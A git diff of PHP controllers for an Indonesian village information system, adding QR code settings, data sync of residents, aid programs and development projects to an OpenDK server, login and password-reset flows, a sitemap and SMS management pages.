+ $data['qrcode'] = ['changeqr' => '1', 'sizeqr' => '6', 'foreqr' => '#000000']; // Default
+ $data['list_changeqr'] = ['Otomatis (Logo Desa)', 'Manual'];
+ $data['list_sizeqr'] = ['25', '50', '75', '100', '125', '150', '175', '200', '225', '250'];
+
+ $this->render('setting/setting_qr', $data);
+ }
+
+ public function qrcode_generate()
+ {
+ $this->redirect_hak_akses_url('u');
+ $post = $this->input->post();
+ $changeqr = $post['changeqr'];
+
+ // $logoqr = yg akan ditampilkan, url
+ // $logoqr1 = yg akan disimpan, directory
+ if ($changeqr == '1') {
+ // Ambil absolute path, bukan url
+ $logoqr1 = gambar_desa($this->header['desa']['logo'], false, true);
+ } else {
+ $logoqr = $post['logoqr'];
+ // Ubah url (http) menjadi absolute path ke file di lokasi media
+ $lokasi_media = preg_quote(LOKASI_MEDIA, '/');
+ $file_logoqr = preg_split('/' . $lokasi_media . '/', $logoqr)[1];
+ $logoqr1 = FCPATH . LOKASI_MEDIA . $file_logoqr;
+ }
+
+ $qrCode = [
+ 'isiqr' => $post['isiqr'], // Isi / arti dr qrcode
+ 'changeqr' => $changeqr, // Pilihan jenis sisipkan logo
+ 'logoqr' => $logoqr1,
+ 'sizeqr' => bilangan($post['sizeqr']), // Ukuran qrcode
+ 'foreqr' => $post['foreqr'],
+ ];
+
+ json(qrcode_generate($qrCode, true));
+ }
+}
diff --git a/donjo-app/controllers/Sinkronisasi.php b/donjo-app/controllers/Sinkronisasi.php
index bae68903f..35c6a2c89 100644
--- a/donjo-app/controllers/Sinkronisasi.php
+++ b/donjo-app/controllers/Sinkronisasi.php
@@ -1,513 +1,779 @@
-modul_ini = 'opendk';
+ $this->sub_modul_ini = 'sinkronisasi';
+ $this->kode_desa = kode_wilayah($this->header['desa']['kode_desa']);
+ $this->load->library('zip');
+ $this->load->model('ekspor_model');
+ $this->sterilkan();
+ }
+
+ public function index()
+ {
+ $modul = [
+ 'Program Bantuan' => [
+ [
+ 'path' => 'kirim_program_bantuan',
+ 'modul' => 'program-bantuan',
+ 'model' => 'Bantuan',
+ 'inkremental' => 0,
+ ],
+ [
+ 'path' => 'kirim_peserta_program_bantuan',
+ 'modul' => 'program-bantuan-peserta',
+ 'model' => 'BantuanPeserta',
+ 'inkremental' => 0,
+ ],
+ ],
+ 'Pembangunan' => [
+ [
+ 'path' => 'kirim_pembangunan',
+ 'modul' => 'pembangunan',
+ 'model' => 'Pembangunan',
+ 'inkremental' => 1,
+ ],
+ [
+ 'path' => 'kirim_dokumentasi_pembangunan',
+ 'modul' => 'pembangunan-dokumentasi',
+ 'model' => 'PembangunanDokumentasi',
+ 'inkremental' => 1,
+ ],
+ ],
+ ];
+
+ $data = [
+ 'kirim_data' => ['Identitas Desa', 'Penduduk', 'Laporan Penduduk', 'Program Bantuan', 'Laporan APBDes', 'Pembangunan'],
+ 'modul' => $modul,
+ ];
+
+ $this->render("{$this->controller}/index", $data);
+ }
+
+ public function sterilkan()
+ {
+ foreach (glob(LOKASI_SINKRONISASI_ZIP . '*_opendk.*') as $file) {
+ if (file_exists($file)) {
+ unlink($file);
+ }
+ }
+ }
+
+ public function kirim($modul)
+ {
+ $this->redirect_hak_akses('u');
+
+ switch ($modul) {
+ case 'penduduk':
+ // Penduduk
+ $notif = $this->sinkronisasi_data_penduduk();
+ break;
+
+ case 'laporan-penduduk':
+ // Laporan Penduduk
+ redirect('laporan_penduduk');
+
+ // no break
+ case 'laporan-apbdes':
+ // Laporan APBDes
+ redirect('laporan_apbdes');
+
+ // no break
+ case 'identitas-desa':
+ // identitas desa
+ $notif = $this->sinkronisasi_identitas_desa();
+ break;
+
+ default:
+ // Data Lainnya
+ break;
+ }
+
+ redirect_with('notif', $notif);
+ }
+
+ public function unduh($modul)
+ {
+ switch ($modul) {
+ case 'penduduk':
+ // Data Penduduk
+ $filename = $this->data_penduduk();
+ break;
+
+ case 'program-bantuan':
+ // Data Program Bantuan
+ $this->data_peserta_program_bantuan();
+ $filename = $this->data_program_bantuan();
+ break;
+
+ default:
+ redirect($this->controller);
+ }
+
+ ambilBerkas($filename, null, null, LOKASI_SINKRONISASI_ZIP);
+ }
+
+ private function data_penduduk()
+ {
+ $writer = WriterEntityFactory::createXLSXWriter();
+
+ //Nama File
+ $tgl = date('d_m_Y');
+ $lokasi = LOKASI_SINKRONISASI_ZIP . 'penduduk_' . $tgl . '_opendk.xlsx';
+ $writer->openToFile($lokasi);
+
+ //Header Tabel
+ $daftar_kolom = [
+ ['Alamat', 'alamat'],
+ ['Dusun', 'dusun'],
+ ['RW', 'rw'],
+ ['RT', 'rt'],
+ ['Nama', 'nama'],
+ ['Nomor KK', 'nomor_kk'],
+ ['Nomor NIK', 'nomor_nik'],
+ ['Jenis Kelamin', 'jenis_kelamin'],
+ ['Tempat Lahir', 'tempat_lahir'],
+ ['Tanggal Lahir', 'tanggal_lahir'],
+ ['Agama', 'agama'],
+ ['Pendidikan (dlm KK)', 'pendidikan_dlm_kk'],
+ ['Pendidikan (sdg ditempuh)', 'pendidikan_sdg_ditempuh'],
+ ['Pekerjaan', 'pekerjaan'],
+ ['Kawin', 'kawin'],
+ ['Hub. Keluarga', 'hubungan_keluarga'],
+ ['Kewarganegaraan', 'kewarganegaraan'],
+ ['Nama Ayah', 'nama_ayah'],
+ ['Nama Ibu', 'nama_ibu'],
+ ['Gol. Darah', 'gol_darah'],
+ ['Akta Lahir', 'akta_lahir'],
+ ['Nomor Dokumen Paspor', 'nomor_dokumen_pasport'],
+ ['Tanggal Akhir Paspor', 'tanggal_akhir_pasport'],
+ ['Nomor Dokumen KITAS', 'nomor_dokumen_kitas'],
+ ['NIK Ayah', 'nik_ayah'],
+ ['NIK Ibu', 'nik_ibu'],
+ ['Nomor Akta Perkawinan', 'nomor_akta_perkawinan'],
+ ['Tanggal Perkawinan', 'tanggal_perkawinan'],
+ ['Nomor Akta Perceraian', 'nomor_akta_perceraian'],
+ ['Tanggal Perceraian', 'tanggal_perceraian'],
+ ['Cacat', 'cacat'],
+ ['Cara KB', 'cara_kb'],
+ ['Hamil', 'hamil'],
+ ['KTP-el', 'ktp_el'],
+ ['Status Rekam', 'status_rekam'],
+ ['Alamat Sekarang', 'alamat_sekarang'],
+ ];
+ $judul = array_column($daftar_kolom, 1);
+
+ // Kolom tambahan khusus OpenDK
+ $judul[] = 'id';
+ $judul[] = 'foto';
+ $judul[] = 'status_dasar';
+ $judul[] = 'created_at';
+ $judul[] = 'updated_at';
+ $judul[] = 'desa_id';
+
+ $header = WriterEntityFactory::createRowFromArray($judul);
+ $writer->addRow($header);
+
+ $get = $this->ekspor_model->tambah_penduduk_sinkronasi_opendk();
+
+ foreach ($get as $row) {
+ $penduduk = [
+ $row->alamat,
+ $row->dusun,
+ $row->rw,
+ $row->rt,
+ $row->nama,
+ $row->no_kk,
+ $row->nik,
+ $row->sex,
+ $row->tempatlahir,
+ $row->tanggallahir,
+ $row->agama_id,
+ $row->pendidikan_kk_id,
+ $row->pendidikan_sedang_id,
+ $row->pekerjaan_id,
+ $row->status_kawin,
+ $row->kk_level,
+ $row->warganegara_id,
+ $row->nama_ayah,
+ $row->nama_ibu,
+ $row->golongan_darah_id,
+ $row->akta_lahir,
+ $row->dokumen_pasport,
+ $row->tanggal_akhir_pasport,
+ $row->dokumen_kitas,
+ $row->ayah_nik,
+ $row->ibu_nik,
+ $row->akta_perkawinan,
+ $row->tanggalperkawinan,
+ $row->akta_perceraian,
+ $row->tanggalperceraian,
+ $row->cacat_id,
+ $row->cara_kb_id,
+ $row->hamil,
+ $row->ktp_el,
+ $row->status_rekam,
+ $row->alamat_sekarang,
+ $row->id,
+ $row->foto,
+ $row->status_dasar,
+ $row->created_at,
+ $row->updated_at,
+ $this->kode_desa,
+ ];
+
+ $file_foto = LOKASI_USER_PICT . $row->foto;
+ if (is_file($file_foto)) {
+ $this->zip->read_file($file_foto);
+ }
+
+ $rowFromValues = WriterEntityFactory::createRowFromArray($penduduk);
+ $writer->addRow($rowFromValues);
+ }
+
+ $writer->close();
+ $this->zip->read_file($lokasi);
+
+ $filename = 'penduduk_' . $tgl . '_opendk.zip';
+ $this->zip->archive(LOKASI_SINKRONISASI_ZIP . $filename);
+
+ return $filename;
+ }
+
+ // TODO:: Ganti dan sesuaikan cara sinkronisasi ini dengan yang baru
+ private function sinkronisasi_data_penduduk()
+ {
+ $filename = $this->data_penduduk();
+
+ //Tambah/Ubah Data
+ $curl = curl_init();
+ curl_setopt_array($curl, [
+ CURLOPT_URL => "{$this->setting->api_opendk_server}/api/v1/penduduk/storedata",
+ // Jika http gunakan url ini :
+ //CURLOPT_URL => $this->setting->api_opendk_server."/api/v1/penduduk/storedata?token=".$this->setting->api_opendk_key,
+ CURLOPT_RETURNTRANSFER => true,
+ CURLOPT_ENCODING => '',
+ CURLOPT_MAXREDIRS => 10,
+ CURLOPT_TIMEOUT => 0,
+ CURLOPT_FOLLOWLOCATION => true,
+ CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
+ CURLOPT_CUSTOMREQUEST => 'POST',
+ CURLOPT_POSTFIELDS => ['file' => new CURLFILE(LOKASI_SINKRONISASI_ZIP . $filename)],
+ CURLOPT_HTTPHEADER => [
+ 'content-Type: multipart/form-data',
+ "Authorization: Bearer {$this->setting->api_opendk_key}",
+ ],
+ ]);
+
+ $response = json_decode(curl_exec($curl));
+ $http_code = curl_getinfo($curl, CURLINFO_HTTP_CODE);
+
+ curl_close($curl);
+
+ //Hapus Data
+ $curl = curl_init();
+ curl_setopt_array($curl, [
+ CURLOPT_URL => "{$this->setting->api_opendk_server}/api/v1/penduduk",
+ // Jika http gunakan url ini :
+ //CURLOPT_URL => $this->setting->api_opendk_server."/api/v1/penduduk?token=".$this->setting->api_opendk_key,
+ CURLOPT_RETURNTRANSFER => true,
+ CURLOPT_ENCODING => '',
+ CURLOPT_MAXREDIRS => 10,
+ CURLOPT_TIMEOUT => 0,
+ CURLOPT_FOLLOWLOCATION => true,
+ CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
+ CURLOPT_CUSTOMREQUEST => 'POST',
+ CURLOPT_POSTFIELDS => json_encode($this->ekspor_model->hapus_penduduk_sinkronasi_opendk()),
+ CURLOPT_HTTPHEADER => [
+ 'Accept: application/json',
+ 'Content-Type: application/json',
+ "Authorization: Bearer {$this->setting->api_opendk_key}",
+ ],
+ ]);
+
+ $response = json_decode(curl_exec($curl));
+ $http_code = curl_getinfo($curl, CURLINFO_HTTP_CODE);
+
+ if (curl_errno($curl) || $http_code === 422) {
+ $notif = [
+ 'status' => 'danger',
+ 'pesan' => ' ' . curl_error($curl) . "
{$response->message}
{$response->errors}",
+ ];
+ } else {
+ $notif = [
+ 'status' => $response->status,
+ 'pesan' => $response->message,
+ ];
+ }
+
+ curl_close($curl);
+
+ return $notif;
+ }
+
+ public function total()
+ {
+ if ($this->input->is_ajax_request()) {
+ $modul = $this->input->post('modul');
+ $model = $this->input->post('model');
+ $inkremental = $this->input->post('inkremental');
+ if ($inkremental == '0') {
+ return json(1); // tanpa inkremental
+ }
+ $model = 'App\\Models\\' . $model;
+ $tgl_sinkronisasi = LogSinkronisasi::where('modul', '=', $modul)->first()->updated_at ?? null;
+ if ($tgl_sinkronisasi) {
+ return json(1); // jika sudah pernah sinkronisasi, tidak usah paginasi
+ }
+
+ return json(ceil($model::count() / 100));
+ }
+ }
+
+ // MULAI IDENTITAS DESA
+ private function sinkronisasi_identitas_desa()
+ {
+ return opendk_api('/api/v1/identitas-desa', [
+ 'form_params' => [
+ 'kode_desa' => $this->kode_desa,
+ 'sebutan_desa' => $this->setting->sebutan_desa,
+ 'website' => empty($this->header['desa']['website']) ? base_url() : $this->header['desa']['website'],
+ 'path' => $this->header['desa']['path'],
+ ],
+ ], 'post');
+ }
+ // SELESAI IDENTITAS DESA
+
+ // MULAI PROGRAM BANTUAN
+ public function kirim_program_bantuan()
+ {
+ $filename = $this->data_program_bantuan();
+ $akhir = $this->input->get('akhir');
+
+ $notif = opendk_api('/api/v1/program-bantuan', [
+ 'multipart' => [
+ [
+ 'name' => 'file',
+ 'contents' => Psr7\Utils::tryFopen(LOKASI_SINKRONISASI_ZIP . $filename, 'r'),
+ 'filename' => $filename,
+ ],
+ [
+ 'name' => 'desa_id',
+ 'contents' => $this->kode_desa,
+ ],
+ ],
+ ], 'post');
+
+ if ($akhir && $notif['status'] != 'danger') {
+ $log = LogSinkronisasi::firstOrCreate(['modul' => 'program-bantuan'], ['created_by' => $this->session->user]);
+ $log->updated_by = $this->session->user;
+ $log->save();
+ }
+
+ return json($notif);
+ }
+
+ public function data_program_bantuan()
+ {
+ $writer = WriterEntityFactory::createCSVWriter();
+
+ // Buat data Program bantuan
+ $bantuan_opendk = LOKASI_SINKRONISASI_ZIP . namafile('program bantuan') . '_opendk.csv';
+ $writer->openToFile($bantuan_opendk);
+
+ //Header Tabel
+ $judul = [
+ 'desa_id',
+ 'id',
+ 'nama',
+ 'sasaran',
+ 'ndesc',
+ 'sdate',
+ 'edate',
+ 'userid',
+ 'status',
+ 'asaldana',
+ ];
+
+ $header = WriterEntityFactory::createRowFromArray($judul);
+ $writer->addRow($header);
+
+ foreach (Bantuan::get() as $row) {
+ $program = [
+ $this->kode_desa,
+ $row->id,
+ $row->nama,
+ $row->sasaran,
+ $row->ndesc,
+ $row->sdate,
+ $row->edate,
+ $row->userid,
+ $row->status,
+ $row->asaldana,
+ ];
+
+ $rowFromValues = WriterEntityFactory::createRowFromArray($program);
+ $writer->addRow($rowFromValues);
+ }
+
+ $writer->close();
+ $this->zip->read_file($bantuan_opendk);
+
+ // Masukan ke File Zip
+ $filename = namafile('program bantuan') . '_opendk.zip';
+ $this->zip->archive(LOKASI_SINKRONISASI_ZIP . $filename);
+
+ return $filename;
+ }
+
+ public function kirim_peserta_program_bantuan()
+ {
+ $filename = $this->data_peserta_program_bantuan();
+ $akhir = $this->input->get('akhir');
+
+ $notif = opendk_api('/api/v1/program-bantuan/peserta', [
+ 'multipart' => [
+ [
+ 'name' => 'file',
+ 'contents' => Psr7\Utils::tryFopen(LOKASI_SINKRONISASI_ZIP . $filename, 'r'),
+ 'filename' => $filename,
+ ],
+ [
+ 'name' => 'desa_id',
+ 'contents' => $this->kode_desa,
+ ],
+ ],
+ ], 'post');
+
+ if ($akhir && $notif['status'] != 'danger') {
+ $log = LogSinkronisasi::firstOrCreate(['modul' => 'peserta-bantuan'], ['created_by' => $this->session->user]);
+ $log->updated_by = $this->session->user;
+ $log->save();
+ }
+
+ return json($notif);
+ }
+
+ public function data_peserta_program_bantuan()
+ {
+ // Buat data Peserta Program Bantuan
+ $writer = WriterEntityFactory::createCSVWriter();
+ $peserta = LOKASI_SINKRONISASI_ZIP . namafile('peserta program bantuan') . '_opendk.csv';
+ $writer->openToFile($peserta);
+ //Header Tabel
+ $judul = [
+ 'desa_id',
+ 'id',
+ 'peserta',
+ 'program_id',
+ 'no_id_kartu',
+ 'kartu_nik',
+ 'kartu_nama',
+ 'kartu_tempat_lahir',
+ 'kartu_tanggal_lahir',
+ 'kartu_alamat',
+ 'kartu_peserta',
+ 'kartu_id_pend',
+ 'sasaran',
+ ];
+
+ $header = WriterEntityFactory::createRowFromArray($judul);
+ $writer->addRow($header);
+
+ foreach (BantuanPeserta::get() as $row) {
+ $program = [
+ $this->kode_desa,
+ $row->id,
+ $row->peserta,
+ $row->program_id,
+ $row->no_id_kartu,
+ $row->kartu_nik,
+ $row->kartu_nama,
+ $row->kartu_tempat_lahir,
+ $row->kartu_tanggal_lahir,
+ $row->kartu_alamat,
+ $row->kartu_peserta,
+ $row->kartu_id_pend,
+ $row->bantuan->sasaran,
+ ];
+
+ $rowFromValues = WriterEntityFactory::createRowFromArray($program);
+ $writer->addRow($rowFromValues);
+ }
+
+ $writer->close();
+ $this->zip->read_file($peserta);
+
+ // Masukan ke File Zip
+ $filename = namafile('peserta program bantuan') . '_opendk.zip';
+ $this->zip->archive(LOKASI_SINKRONISASI_ZIP . $filename);
+
+ return $filename;
+ }
+ // SELESAI PROGRAM BANTUAN
+
+ // MULAI PEMBANGUNAN
+ public function kirim_pembangunan()
+ {
+ $file_pembangunan = $this->data_pembangunan();
+ $akhir = $this->input->get('akhir');
+
+ $notif = opendk_api('/api/v1/pembangunan', [
+ 'multipart' => [
+ [
+ 'name' => 'file',
+ 'contents' => Psr7\Utils::tryFopen(LOKASI_SINKRONISASI_ZIP . $file_pembangunan, 'r'),
+ 'filename' => $file_pembangunan,
+ ],
+ [
+ 'name' => 'desa_id',
+ 'contents' => $this->kode_desa,
+ ],
+ ],
+ ], 'post');
+
+ if ($akhir && $notif['status'] != 'danger') {
+ $log = LogSinkronisasi::firstOrCreate(['modul' => 'pembangunan'], ['created_by' => $this->session->user]);
+ $log->updated_by = $this->session->user;
+ $log->save();
+ }
+
+ return json($notif);
+ }
+
+ public function data_pembangunan()
+ {
+ $limit = 100;
+ $p = $this->input->get('p');
+
+ // cek tanggal akhir sinkronisasi
+ $tgl_sinkronisasi = LogSinkronisasi::where('modul', '=', 'program-bantuan')->first()->updated_at ?? null;
+
+ $writer = WriterEntityFactory::createCSVWriter();
+
+ // Membuat Data Pembangunan
+ $data_pembangunan = LOKASI_SINKRONISASI_ZIP . namafile('pembangunan') . '_opendk.csv';
+ $writer->openToFile($data_pembangunan);
+
+ // Header Tabel
+ $judul = [
+ 'desa_id',
+ 'id',
+ 'sumber_dana',
+ 'lokasi',
+ 'judul',
+ 'keterangan',
+ 'volume',
+ 'tahun_anggaran',
+ 'pelaksana_kegiatan',
+ 'status',
+ 'anggaran',
+ 'perubahan_anggaran',
+ 'sumber_biaya_pemerintah',
+ 'sumber_biaya_provinsi',
+ 'sumber_biaya_kab_kota',
+ 'sumber_biaya_swadaya',
+ 'sumber_biaya_jumlah',
+ 'manfaat',
+ 'waktu',
+ 'sifat_proyek',
+ 'foto',
+ ];
+ $header = WriterEntityFactory::createRowFromArray($judul);
+ $writer->addRow($header);
+ $get = Pembangunan::when($tgl_sinkronisasi != null, static function ($q) use ($tgl_sinkronisasi) {
+ return $q->where('updated_at', '>', $tgl_sinkronisasi);
+ })
+ ->when($tgl_sinkronisasi == null, static function ($q) use ($limit, $p) {
+ return $q->skip($p * $limit)->take($limit);
+ })
+ ->with(['PembangunanDokumentasi', 'wilayah'])->get();
+
+ foreach ($get as $row) {
+ $penduduk = [
+ $this->kode_desa,
+ $row->id,
+ $row->sumber_dana,
+ $row->lokasi_pemb,
+ $row->judul,
+ $row->keterangan,
+ $row->volume,
+ $row->tahun_anggaran,
+ $row->pelaksana_kegiatan,
+ $row->status,
+ $row->anggaran,
+ $row->perubahan_anggaran,
+ $row->sumber_biaya_pemerintah,
+ $row->sumber_biaya_provinsi,
+ $row->sumber_biaya_kab_kota,
+ $row->sumber_biaya_swadaya,
+ $row->sumber_biaya_jumlah,
+ $row->manfaat,
+ $row->waktu,
+ $row->sifat_proyek,
+ $row->foto,
+ ];
+
+ $file_foto = LOKASI_GALERI . $row->foto;
+ if (is_file($file_foto)) {
+ $this->zip->read_file($file_foto);
+ }
+
+ $rowFromValues = WriterEntityFactory::createRowFromArray($penduduk);
+ $writer->addRow($rowFromValues);
+ }
+
+ $writer->close();
+ $this->zip->read_file($data_pembangunan);
+
+ // Masukan ke File Zip
+ $filename = namafile('pembangunan') . '_opendk.zip';
+ $this->zip->archive(LOKASI_SINKRONISASI_ZIP . $filename);
+
+ return $filename;
+ }
+
+ public function kirim_dokumentasi_pembangunan($value = '')
+ {
+ $file_dokumentasi = $this->make_dokumentasi_pembangunan();
+ $akhir = $this->input->get('akhir');
+
+ $notif = opendk_api('/api/v1/pembangunan/dokumentasi', [
+ 'multipart' => [
+ [
+ 'name' => 'file',
+ 'contents' => Psr7\Utils::tryFopen(LOKASI_SINKRONISASI_ZIP . $file_dokumentasi, 'r'),
+ 'filename' => $file_dokumentasi,
+ ],
+ [
+ 'name' => 'desa_id',
+ 'contents' => $this->kode_desa,
+ ],
+ ],
+ ], 'post');
+
+ if ($akhir && $notif['status'] != 'danger') {
+ $log = LogSinkronisasi::firstOrCreate(['modul' => 'pembangunan-dokumentasi'], ['created_by' => $this->session->user]);
+ $log->updated_by = $this->session->user;
+ $log->save();
+ }
+
+ return json($notif);
+ }
+
+ public function make_dokumentasi_pembangunan()
+ {
+ $limit = 100;
+ $p = $this->input->get('p');
+
+ // cek tanggal akhir sinkronisasi
+ $tgl_sinkronisasi = LogSinkronisasi::where('modul', '=', 'program-bantuan')->first()->updated_at ?? null;
+
+ $writer = WriterEntityFactory::createCSVWriter();
+
+ // Membuat Data Dokumentasi Pembangunan
+ $data_dokumentasi = LOKASI_SINKRONISASI_ZIP . namafile('dokumentasi pembangunan') . '_opendk.csv';
+ $writer->openToFile($data_dokumentasi);
+
+ // Header Tabel
+ $daftar_kolom_dokumentasi = [
+ 'desa_id',
+ 'id',
+ 'id_pembangunan',
+ 'gambar',
+ 'persentase',
+ 'keterangan',
+ 'created_at',
+ 'updated_at',
+ ];
+ $header = WriterEntityFactory::createRowFromArray($daftar_kolom_dokumentasi);
+ $writer->addRow($header);
+ $get_dokumentasi = PembangunanDokumentasi::when($tgl_sinkronisasi != null, static function ($q) use ($tgl_sinkronisasi) {
+ return $q->where('updated_at', '>', $tgl_sinkronisasi);
+ })
+ ->when($tgl_sinkronisasi == null, static function ($q) use ($limit, $p) {
+ return $q->skip($p * $limit)->take($limit);
+ })->get();
+
+ foreach ($get_dokumentasi as $row) {
+ $dokumentasi = [
+ $this->kode_desa,
+ $row->id,
+ $row->id_pembangunan,
+ $row->gambar,
+ $row->persentase,
+ $row->keterangan,
+ $row->created_at->format('Y-m-d'),
+ $row->updated_at->format('Y-m-d'),
+ ];
+
+ $file_foto = LOKASI_GALERI . $row->gambar;
+ if (is_file($file_foto)) {
+ $this->zip->read_file($file_foto);
+ }
+
+ $rowFromValues = WriterEntityFactory::createRowFromArray($dokumentasi);
+ $writer->addRow($rowFromValues);
+ }
+
+ $writer->close();
+ $this->zip->read_file($data_dokumentasi);
+
+ $filename = namafile('dokumentasi pembangunan') . '_opendk.zip';
+ $this->zip->archive(LOKASI_SINKRONISASI_ZIP . $filename);
+
+ return $filename;
+ }
+ // SELESAI PEMBANGUNAN
+}
diff --git a/donjo-app/controllers/Siteman.php b/donjo-app/controllers/Siteman.php
index 6ea9e5b0f..8e41af040 100644
--- a/donjo-app/controllers/Siteman.php
+++ b/donjo-app/controllers/Siteman.php
@@ -1,473 +1,227 @@
-load->model('user_model');
+ $this->load->model('theme_model');
+ $this->lang->load('passwords');
+ $this->load->library('Reset/Password', '', 'password');
+ $this->latar_login = default_file(LATAR_LOGIN . $this->setting->latar_login, DEFAULT_LATAR_SITEMAN);
+ $this->header = collect(identitas())->toArray();
+ }
+
+ public function index()
+ {
+ // Kalau sehabis periksa data, paksa harus login lagi
+ if ($this->session->periksa_data == 1) {
+ $this->user_model->logout();
+
+ redirect('siteman');
+ }
+
+ if (isset($_SESSION['siteman']) && $_SESSION['siteman'] == 1) {
+ redirect('main');
+ }
+ unset($_SESSION['balik_ke']);
+ $data['header'] = $this->header;
+
+ $data['form_action'] = site_url('siteman/auth');
+ $data['logo_bsre'] = default_file(LOGO_BSRE, false);
+ $data['latar_login'] = $this->latar_login;
+ //Initialize Session ------------
+ if (! isset($_SESSION['siteman'])) {
+ // Belum ada session variable
+ $this->session->set_userdata('siteman', 0);
+ }
+ session_error_clear();
+ $_SESSION['per_page'] = 10;
+ $_SESSION['cari'] = '';
+ $_SESSION['pengumuman'] = 0;
+ $_SESSION['sesi'] = 'kosong';
+ //-------------------------------
+
+ $this->load->view('siteman', $data);
+ }
+
+ public function auth()
+ {
+ $method = $this->input->method(true);
+ $allow_method = ['POST'];
+ if (! in_array($method, $allow_method)) {
+ redirect('siteman');
+ }
+ $this->user_model->siteman();
+
+ if ($_SESSION['siteman'] != 1) {
+ // Gagal otentifikasi
+ redirect('siteman');
+ }
+
+ if (! $this->user_model->syarat_sandi() && ! (config_item('demo_mode') || ENVIRONMENT === 'development')) {
+ // Password tidak memenuhi syarat kecuali di website demo
+
+ $this->session->force_change_password = true;
+ redirect('pengguna#sandi');
+ }
+
+ $_SESSION['dari_login'] = '1';
+ // Notif bisa dipanggil sewaktu-waktu dan tidak digunakan untuk redirect
+ if (isset($_SESSION['request_uri']) && strpos($_SESSION['request_uri'], 'notif/') === false) {
+ // Lengkapi url supaya tidak diubah oleh redirect
+ $request_awal = $_SERVER['HTTP_ORIGIN'] . $_SESSION['request_uri'];
+ unset($_SESSION['request_uri']);
+ redirect($request_awal);
+ } else {
+ unset($_SESSION['request_uri']);
+ redirect('main');
+ }
+ }
+
+ public function logout()
+ {
+ $this->user_model->logout();
+
+ redirect('siteman');
+ }
+
+ public function lupa_sandi()
+ {
+ $data['header'] = $this->header;
+ $data['latar_login'] = $this->latar_login;
+
+ $this->load->view('lupa_sandi', $data);
+ }
+
+ public function kirim_lupa_sandi()
+ {
+ // Periksa isian captcha
+ include FCPATH . 'securimage/securimage.php';
+ $securimage = new Securimage();
+
+ if (! $securimage->check($this->input->post('captcha_code'))) {
+ set_session('notif', 'Kode captcha anda salah. Silakan ulangi lagi.');
+
+ redirect('siteman/lupa_sandi');
+ }
+
+ try {
+ $status = $this->password->driver('email')->sendResetLink([
+ 'email' => $this->input->post('email'),
+ ]);
+ } catch (\Exception $e) {
+ log_message('error', $e);
+
+ set_session('notif', 'Tidak berhasil mengirim email, harap mencoba kembali.');
+
+ redirect('siteman/lupa_sandi');
+ }
+
+ set_session('notif', lang($status));
+
+ redirect('siteman/lupa_sandi');
+ }
+
+ public function reset_kata_sandi($token = null)
+ {
+ if (! $token) {
+ redirect('siteman');
+ }
+
+ $data['header'] = $this->header;
+ $data['email'] = $this->input->get('email', true);
+ $data['token'] = $token;
+ $data['latar_login'] = $this->latar_login;
+
+ $this->load->view('reset_kata_sandi', $data);
+ }
+
+ public function verifikasi_sandi()
+ {
+ $request = (object) $this->input->post();
+
+ if ($request->password !== $request->konfirmasi_password) {
+ set_session('notif', 'Bidang konfirmasi password tidak cocok dengan bidang password.');
+
+ redirect("siteman/reset_kata_sandi/{$request->token}?email={$request->email}");
+ }
+
+ try {
+ $status = $this->password->driver('email')->reset(
+ ['email' => $request->email, 'token' => $request->token, 'password' => $request->password],
+ function ($user, $password) {
+ // TODO: OpenKab - Perlu disesuaikan ulang setelah semua modul selesai
+ $this->db->where('id', $user->id)->update('user', ['password' => $this->generatePasswordHash($password)]);
+ }
+ );
+ } catch (\Exception $e) {
+ log_message('error', $e);
+
+ set_session('notif', 'Tidak berhasil memverifikasi kata sandi, silahkan coba kembali.');
+
+ redirect("siteman/reset_kata_sandi/{$request->token}?email={$request->email}");
+ }
+
+ set_session('notif', lang($status));
+
+ if ($status === 'reset') {
+ redirect('siteman');
+ } else {
+ redirect("siteman/reset_kata_sandi/{$request->token}?email={$request->email}");
+ }
+ }
+
+ protected function generatePasswordHash($string)
+ {
+ // Pastikan inputnya adalah string
+ $string = is_string($string) ? $string : (string) $string;
+ // Buat hash password
+ $pwHash = password_hash($string, PASSWORD_BCRYPT);
+ // Cek kekuatan hash, regenerate jika masih lemah
+ if (password_needs_rehash($pwHash, PASSWORD_BCRYPT)) {
+ $pwHash = password_hash($string, PASSWORD_BCRYPT);
+ }
+
+ return $pwHash;
+ }
+}
diff --git a/donjo-app/controllers/Sitemap.php b/donjo-app/controllers/Sitemap.php
index 3ae96d427..073e3035d 100644
--- a/donjo-app/controllers/Sitemap.php
+++ b/donjo-app/controllers/Sitemap.php
@@ -1,473 +1,56 @@
-db
+ ->select('a.*, YEAR(tgl_upload) AS thn, MONTH(tgl_upload) AS bln, DAY(tgl_upload) AS hri')
+ ->where('config_id', Config::appKey()->first()->id)
+ ->from('artikel a')
+ ->get()
+ ->result_array();
+
+ $this->output->set_content_type('text/xml', 'UTF-8');
+ $this->load->view('sitemap', $data);
+ }
+}
diff --git a/donjo-app/controllers/Sms.php b/donjo-app/controllers/Sms.php
index 5ca1d39dc..9b107c207 100644
--- a/donjo-app/controllers/Sms.php
+++ b/donjo-app/controllers/Sms.php
@@ -1,441 +1,382 @@
-load->model('sms_model');
+ $this->modul_ini = 'hubung-warga';
+ $this->sub_modul_ini = 'kirim-pesan';
+ $this->header['kategori'] = 'hubung warga';
+ }
+
+ public function clear()
+ {
+ $this->session->per_page = 20;
+
+ redirect('sms');
+ }
+
+ public function index($p = 1, $o = 6)
+ {
+ $data['p'] = $p;
+ $data['o'] = $o;
+ $this->session->per_page = $this->input->post('per_page') ?? $this->session->per_page;
+
+ $data['per_page'] = $this->session->per_page;
+ $data['paging'] = $this->sms_model->paging($p);
+ $data['main'] = $this->sms_model->list_data($o, $data['paging']->offset, $data['paging']->per_page);
+ $data['navigasi'] = 'sms';
+
+ $this->render('sms/manajemen_sms_table', $data);
+ }
+
+ public function outbox($p = 1, $o = 6)
+ {
+ $data['p'] = $p;
+ $data['o'] = $o;
+ $this->session->per_page = $this->input->post('per_page') ?? $this->session->per_page;
+
+ $data['per_page'] = $this->session->per_page;
+ $data['paging'] = $this->sms_model->paging_terkirim($p);
+ $data['main'] = $this->sms_model->list_data_terkirim($o, $data['paging']->offset, $data['paging']->per_page);
+ $data['navigasi'] = 'outbox';
+
+ $this->render('sms/create_sms', $data);
+ }
+
+ public function sentitem($p = 1, $o = 6)
+ {
+ $data['p'] = $p;
+ $data['o'] = $o;
+ $this->session->per_page = $this->input->post('per_page') ?? $this->session->per_page;
+
+ $data['per_page'] = $this->session->per_page;
+ $data['paging'] = $this->sms_model->paging_terkirim($p);
